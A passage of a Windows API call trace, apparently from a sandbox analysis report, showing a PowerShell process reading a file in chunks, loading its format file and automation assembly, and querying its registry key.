lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.246] GetLastError () returned 0x0 [0149.257] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.257] GetLastError () returned 0x0 [0149.257] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.257] GetLastError () returned 0x0 [0149.258] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.258] GetLastError () returned 0x0 [0149.258] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.258] GetLastError () returned 0x0 [0149.259] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.259] GetLastError () returned 0x0 [0149.259] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.259] GetLastError () returned 0x0 [0149.259] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.260] GetLastError () returned 0x0 [0149.260] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.260] GetLastError () returned 0x0 [0149.260] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.261] GetLastError () returned 0x0 [0149.261] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.261] GetLastError () returned 0x0 [0149.261] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.262] GetLastError () returned 0x0 [0149.262] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.262] GetLastError () returned 0x0 [0149.262] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.263] GetLastError () returned 0x0 [0149.263] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.263] GetLastError () returned 0x0 [0149.263] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.264] GetLastError () returned 0x0 [0149.264] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.264] GetLastError () returned 0x0 [0149.264] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.264] GetLastError () returned 0x0 [0149.265] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.265] GetLastError () returned 0x0 [0149.265] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.265] GetLastError () returned 0x0 [0149.266] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.266] GetLastError () returned 0x0 [0149.266] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.266] GetLastError () returned 0x0 [0149.267] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.267] GetLastError () returned 0x0 [0149.267] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.267] GetLastError () returned 0x0 [0149.268] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.268] GetLastError () returned 0x0 [0149.268] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.268] GetLastError () returned 0x0 [0149.269] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.269] GetLastError () returned 0x0 [0149.269] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.269] GetLastError () returned 0x0 [0149.270] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.270] GetLastError () returned 0x0 [0149.270] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.270] GetLastError () returned 0x0 [0149.270] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x1000, lpOverlapped=0x0) returned 1 [0149.271] GetLastError () returned 0x0 [0149.271] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0xf37, lpOverlapped=0x0) returned 1 [0149.271] GetLastError () returned 0x0 [0149.271] ReadFile (in: hFile=0x314, lpBuffer=0x32b0173, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0173*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0149.272] GetLastError () returned 0x0 [0149.272] ReadFile (in: hFile=0x314, lpBuffer=0x32b0a9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2be634, lpOverlapped=0x0 | out: lpBuffer=0x32b0a9c*, lpNumberOfBytesRead=0x2be634*=0x0, lpOverlapped=0x0) returned 1 [0149.272] GetLastError () returned 0x0 [0149.272] CloseHandle (hObject=0x314) returned 1 [0149.272] GetLastError () returned 0x0 [0149.272] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be194, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0149.272] GetLastError () returned 0x0 [0149.272] SetErrorMode (uMode=0x1) returned 0x1 [0149.273] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x32d1a98 | out: lpFileInformation=0x32d1a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0149.273] GetLastError () returned 0x0 [0149.273] SetErrorMode (uMode=0x1) returned 0x1 [0149.273] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0149.273] GetLastError () returned 0x0 [0149.274] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be5b8 | out: phkResult=0x2be5b8*=0x314) returned 0x0 [0149.274] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x0, lpcbData=0x2be5fc*=0x0 | out: lpType=0x2be600*=0x1, lpData=0x0, lpcbData=0x2be5fc*=0x56) returned 0x0 [0149.275] RegQueryValueExW (in: hKey=0x314, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be600, lpData=0x67b350, lpcbData=0x2be5fc*=0x56 | out: lpType=0x2be600*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be5fc*=0x56) returned 0x0 [0149.275] RegCloseKey (hKey=0x314) returned 0x0 [0149.275] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be160, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0149.275] GetLastError () returned 0x0 [0149.275] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0149.275] GetLastError () returned 0x0 [0149.301] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0xb09a06a7, Data2=0x113e, Data3=0x4341, Data4=([0]=0x87, [1]=0xc, [2]=0x63, [3]=0x2b, [4]=0x68, [5]=0x65, [6]=0xcc, [7]=0x3b))) returned 0x0 [0149.302] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x35266bed, Data2=0x6cb, Data3=0x4f10, Data4=([0]=0xa0, [1]=0xf, [2]=0xb5, [3]=0xa5, [4]=0xdd, [5]=0x25, [6]=0x60, [7]=0x72))) returned 0x0 [0149.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.302] GetLastError () returned 0x0 [0149.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.302] GetLastError () returned 0x0 [0149.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.302] GetLastError () returned 0x0 [0149.303] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.303] GetLastError () returned 0x0 [0149.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.569] GetLastError () returned 0x0 [0149.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.569] GetLastError () returned 0x0 [0149.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.570] GetLastError () returned 0x0 [0149.570] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x433cb5c, Data2=0xb478, Data3=0x4ef9, Data4=([0]=0x92, [1]=0x3c, [2]=0xa7, [3]=0xb7, [4]=0x2f, [5]=0x27, [6]=0x3c, [7]=0x55))) returned 0x0 [0149.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.570] GetLastError () returned 0x0 [0149.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.571] GetLastError () returned 0x0 [0149.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.571] GetLastError () returned 0x0 [0149.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.571] GetLastError () returned 0x0 [0149.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.571] GetLastError () returned 0x0 [0149.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.571] GetLastError () returned 0x0 [0149.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.571] GetLastError () returned 0x0 [0149.571] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.572] GetLastError () returned 0x0 [0149.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.572] GetLastError () returned 0x0 [0149.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.572] GetLastError () returned 0x0 [0149.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.572] GetLastError () returned 0x0 [0149.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.572] GetLastError () returned 0x0 [0149.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.572] GetLastError () returned 0x0 [0149.572] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.573] GetLastError () returned 0x0 [0149.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.573] GetLastError () returned 0x0 [0149.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.573] GetLastError () returned 0x0 [0149.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.573] GetLastError () returned 0x0 [0149.573] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.573] GetLastError () returned 0x0 [0149.575] VirtualQuery (in: lpAddress=0x2bcf74, lpBuffer=0x2bdf74, dwLength=0x1c | out: lpBuffer=0x2bdf74*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.576] VirtualQuery (in: lpAddress=0x2bcfb0, lpBuffer=0x2bdfb0, dwLength=0x1c | out: lpBuffer=0x2bdfb0*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.577] GetLastError () returned 0x0 [0149.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.577] GetLastError () returned 0x0 [0149.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.577] GetLastError () returned 0x0 [0149.577] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 